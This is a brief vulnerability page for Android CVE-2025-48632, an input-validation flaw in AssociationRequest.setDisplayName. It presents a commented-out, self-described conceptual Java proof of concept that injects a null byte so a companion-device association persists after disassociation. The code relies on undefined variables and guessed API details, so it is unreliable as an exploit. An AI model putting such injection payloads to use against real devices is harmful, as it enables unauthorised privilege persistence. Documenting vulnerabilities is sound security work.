CVE-2025-48632 Android AssociationRequest输入验证不当导致本地权限提升

// CVE-2025-48632 PoC - Android Association Persistence After Disassociation // This PoC demonstrates the improper input validation in setDisplayName // Note: This is a conceptual PoC based on the vulnerability description // Actual exploitation requires Android device with Companion Device Manager /* import android.companion.CompanionDeviceManager; import android.content.ComponentName; import android.content.Intent; public class CVE_2025_48632_PoC { public void exploitAssociationPersistence() { // Step 1: Create a CompanionDeviceManager instance CompanionDeviceManager cdm = getSystemService(CompanionDeviceManager.class); // Step 2: Create AssociationRequest with malicious display name // The vulnerability allows special characters that bypass cleanup AssociationRequest request = new AssociationRequest.Builder() .setDisplayName("malicious_device\u0000persist") // Null byte injection .setDeviceType("sensor") .build(); // Step 3: Associate device cdm.associate(request, new CompanionDeviceManager.Callback() { @Override public void onDeviceFound(Intent intent) { startActivityForResult(intent, REQUEST_ASSOCIATE); } @Override public void onFailure(CharSequence error) { Log.e("CVE-2025-48632", "Association failed: " + error); } }, null); // Step 4: User disassociates device (appears to succeed) cdm.disassociate(associationId); // Step 5: Exploit - Association persists due to validation bypass // Check if association still exists List<AssociationInfo> associations = cdm.getMyAssociations(); // Step 6: Re-activate the persistent association // This grants elevated privileges without user consent if (associations.contains(maliciousAssociation)) { Log.i("CVE-2025-48632", "Vulnerability confirmed: Association persisted!"); } } } */ // Key vulnerability pattern: // The setDisplayName method does not properly sanitize input, // allowing null bytes or special characters that survive the disassociation cleanup process. // Reference: android.googlesource.com/platform/frameworks/base/+/de27b16b1af86d4ce18c9134d85b53331a8d2147